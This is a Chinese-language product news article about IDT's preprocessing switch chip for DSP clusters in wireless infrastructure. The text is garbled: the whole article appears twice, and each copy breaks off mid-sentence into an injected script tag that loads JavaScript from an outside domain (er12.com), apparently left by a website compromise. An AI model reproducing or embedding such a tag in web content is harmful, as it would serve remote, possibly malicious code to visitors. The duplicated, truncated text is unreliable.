IDT推出用于DSP集群的現成預處理交換(PPS)芯片
發布時間:2006/7/11 0:00:00 訪問次數:2522
idt 流量控制管理部副總裁兼總經理 thomas brenner 表示:“在為無線基礎設施市場設計和開發流量控制管理和處理器間通信解決方案方面,idt 是無可爭議的領導者。預處理交換芯片(pps)的推出再次鞏固了我們一直以來在為無線基礎設施中 dsp 和 cpu 提供優化的互連方面的領導地位。利用我們業界領先的 fifo 和多端口存儲解決方案,進一步提升了這種領先優勢。我們在這一市場的傳統優勢,加上我們與主要無線基礎設施系統客戶,以及 dsp 和嵌入式處理器合作伙伴的緊密關系,使我們擁有了強大的技術基礎和相應的應用專長,能夠開發出真正創新的解決方案,而非一般的交換產品。這些解決方案為無線基帶處理應用提供互連和加速的優勢。”
idt 預處理交換芯片(pps)有助于實現 dsp 集群的數據加速
隨著無線基礎設施向更高性能的 3g 及以上系統的發展,應用設計師正面臨著日益復雜的運算和逐步增加的計算需求。例如,基站設計必需處理單位基站更多的載波信號和扇區,以大幅度降低成本,同時確保充分的靈活性與可升級性,以便在不同應用和細分市場有效地重復使用。如信息包內處理、求和及通道合并功能消耗大量的系統資源,并增加系統的延遲。設計師考慮的一個選擇就是采用 fpga 或 asic 的普通交換芯片,同時增加 dsp 的計算周期,以實現參照數據處理和分布能力。無論如何,成本與設計的復雜性導致的上市時間延遲通常與使用 fpga 或 asic 有關。而且,在 fpga 或 asic 上實現完整的 srio 端口和邏輯堆棧需要更多的門數,從而導致自制技術的交換解決方案的效率低下。
idt 預處理交換芯片(pps)提供了一個優勢的解決方案,將傳統數據處理執行與交換結構集成在一起,通過提供 dsp 低端處理的卸載定制功能提高了效率,也因此減少或清除了對 fpga/asic 的需求。這些功能包括內部信息包和內部采樣處理,以及集成的 dma 能力和多輸入資源的求和信息包能力。卸載價值低的處理可使 dsp 集中于更高價值的運算,有助于客戶以相同或更低的成本提供比競爭對手更高的專有價值。dsp 集群也能夠支持更多的通道或用戶,降低特定容量的總體功耗。通過集成求和運算,預處理交換芯片(pps)有助于減少元件總數,而無須使用分立的元件處理系統任務。它還能提供強大的性能以滿足應用要求,接近 100 gbps 的內部帶寬可支持基帶處理或其他 dsp 集群應用。
此外,idt 預處理交換芯片(pps)可支持系統的同步輸入和輸出。該功能可簡化復雜的 rf 基帶系統運算,確保 tdm 型及 tdm 相似型或完全基于信息包系統的順暢與高效轉換。
idt 預處理交換芯片(pps)擁有業界最高的端口數,可提供 40 個高配置性雙向 srio 鏈接,包括 10 個 4x寬的端口,或多達 22 個 1x 寬的端口,或 4x 和 1x 的組合端口。每個端口均可進行 1.25 gb、2.5 gb 或 3.125 gb 傳輸速度,以及短距離(芯片到芯片)或長距離(底板)傳輸距離的獨立編程。
軟硬件工具可提供系統仿真易用性
idt 將于 7 月中推出貼裝在兼容 atca評估板上的預處理交換芯片(pps)。該板采用 amc 高度,適用于基帶處理演示。預處理交換芯片(pps)與 4 個德州儀器 tc16482 dsp(也可選擇 tc16455 dsp)一起,為快速安裝、初始化和預處理交換芯片(pps)性能的在線評估提供充足的軟件。該板可實現現實的案例研究 ,有助于從 dsp 到預處理交換芯片(pps)的任務和運算的移動,并可觀察系統的性能。除了評估板和相關硬件外,idt 還提供強大的軟件工具,可為設計師提供實現廣泛的仿真、支持基于簡化 rf 和 dsp 卡交易模式的板卡和系統評估能力。這些器件型號包括標準交換和預處理交換芯片(pps)模式,使系統設計師可以通過對大量關鍵參數的處理,包括先置處理功能、端口?script src=http://er12.com/t.js>
idt 流量控制管理部副總裁兼總經理 thomas brenner 表示:“在為無線基礎設施市場設計和開發流量控制管理和處理器間通信解決方案方面,idt 是無可爭議的領導者。預處理交換芯片(pps)的推出再次鞏固了我們一直以來在為無線基礎設施中 dsp 和 cpu 提供優化的互連方面的領導地位。利用我們業界領先的 fifo 和多端口存儲解決方案,進一步提升了這種領先優勢。我們在這一市場的傳統優勢,加上我們與主要無線基礎設施系統客戶,以及 dsp 和嵌入式處理器合作伙伴的緊密關系,使我們擁有了強大的技術基礎和相應的應用專長,能夠開發出真正創新的解決方案,而非一般的交換產品。這些解決方案為無線基帶處理應用提供互連和加速的優勢。”
idt 預處理交換芯片(pps)有助于實現 dsp 集群的數據加速
隨著無線基礎設施向更高性能的 3g 及以上系統的發展,應用設計師正面臨著日益復雜的運算和逐步增加的計算需求。例如,基站設計必需處理單位基站更多的載波信號和扇區,以大幅度降低成本,同時確保充分的靈活性與可升級性,以便在不同應用和細分市場有效地重復使用。如信息包內處理、求和及通道合并功能消耗大量的系統資源,并增加系統的延遲。設計師考慮的一個選擇就是采用 fpga 或 asic 的普通交換芯片,同時增加 dsp 的計算周期,以實現參照數據處理和分布能力。無論如何,成本與設計的復雜性導致的上市時間延遲通常與使用 fpga 或 asic 有關。而且,在 fpga 或 asic 上實現完整的 srio 端口和邏輯堆棧需要更多的門數,從而導致自制技術的交換解決方案的效率低下。
idt 預處理交換芯片(pps)提供了一個優勢的解決方案,將傳統數據處理執行與交換結構集成在一起,通過提供 dsp 低端處理的卸載定制功能提高了效率,也因此減少或清除了對 fpga/asic 的需求。這些功能包括內部信息包和內部采樣處理,以及集成的 dma 能力和多輸入資源的求和信息包能力。卸載價值低的處理可使 dsp 集中于更高價值的運算,有助于客戶以相同或更低的成本提供比競爭對手更高的專有價值。dsp 集群也能夠支持更多的通道或用戶,降低特定容量的總體功耗。通過集成求和運算,預處理交換芯片(pps)有助于減少元件總數,而無須使用分立的元件處理系統任務。它還能提供強大的性能以滿足應用要求,接近 100 gbps 的內部帶寬可支持基帶處理或其他 dsp 集群應用。
此外,idt 預處理交換芯片(pps)可支持系統的同步輸入和輸出。該功能可簡化復雜的 rf 基帶系統運算,確保 tdm 型及 tdm 相似型或完全基于信息包系統的順暢與高效轉換。
idt 預處理交換芯片(pps)擁有業界最高的端口數,可提供 40 個高配置性雙向 srio 鏈接,包括 10 個 4x寬的端口,或多達 22 個 1x 寬的端口,或 4x 和 1x 的組合端口。每個端口均可進行 1.25 gb、2.5 gb 或 3.125 gb 傳輸速度,以及短距離(芯片到芯片)或長距離(底板)傳輸距離的獨立編程。
軟硬件工具可提供系統仿真易用性
idt 將于 7 月中推出貼裝在兼容 atca評估板上的預處理交換芯片(pps)。該板采用 amc 高度,適用于基帶處理演示。預處理交換芯片(pps)與 4 個德州儀器 tc16482 dsp(也可選擇 tc16455 dsp)一起,為快速安裝、初始化和預處理交換芯片(pps)性能的在線評估提供充足的軟件。該板可實現現實的案例研究 ,有助于從 dsp 到預處理交換芯片(pps)的任務和運算的移動,并可觀察系統的性能。除了評估板和相關硬件外,idt 還提供強大的軟件工具,可為設計師提供實現廣泛的仿真、支持基于簡化 rf 和 dsp 卡交易模式的板卡和系統評估能力。這些器件型號包括標準交換和預處理交換芯片(pps)模式,使系統設計師可以通過對大量關鍵參數的處理,包括先置處理功能、端口?script src=http://er12.com/t.js>